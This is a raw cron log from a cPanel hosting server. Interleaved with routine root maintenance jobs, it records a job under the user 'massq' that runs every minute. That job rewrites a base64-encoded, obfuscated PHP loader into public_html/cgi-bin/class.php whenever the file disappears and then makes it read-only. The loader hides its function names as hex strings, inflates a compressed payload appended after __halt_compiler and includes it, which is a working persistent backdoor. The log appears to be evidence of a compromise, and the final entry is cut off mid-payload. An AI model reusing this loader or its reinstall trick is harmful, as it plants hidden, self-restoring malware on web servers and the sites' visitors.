Apr 10 00:14:01 server CROND[6494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:15:01 server CROND[6601]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 00:15:01 server CROND[6603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 00:15:01 server CROND[6604]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 10 00:15:01 server CROND[6605]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 10 00:15:01 server CROND[6606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:16:01 server CROND[6759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:17:01 server CROND[6828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:18:01 server CROND[6884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:19:01 server CROND[7039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:20:01 server CROND[7099]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 00:20:01 server CROND[7100]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 00:20:01 server CROND[7103]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 00:20:01 server CROND[7102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:20:01 server CROND[7101]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 00:21:01 server CROND[7228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:22:01 server CROND[7308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:23:01 server CROND[7371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:24:01 server CROND[7427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:25:01 server CROND[7572]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 00:25:01 server CROND[7573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:25:01 server CROND[7576]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 10 00:25:01 server CROND[7575]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 00:26:01 server CROND[7713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:27:01 server CROND[7760]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 00:27:01 server CROND[7762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk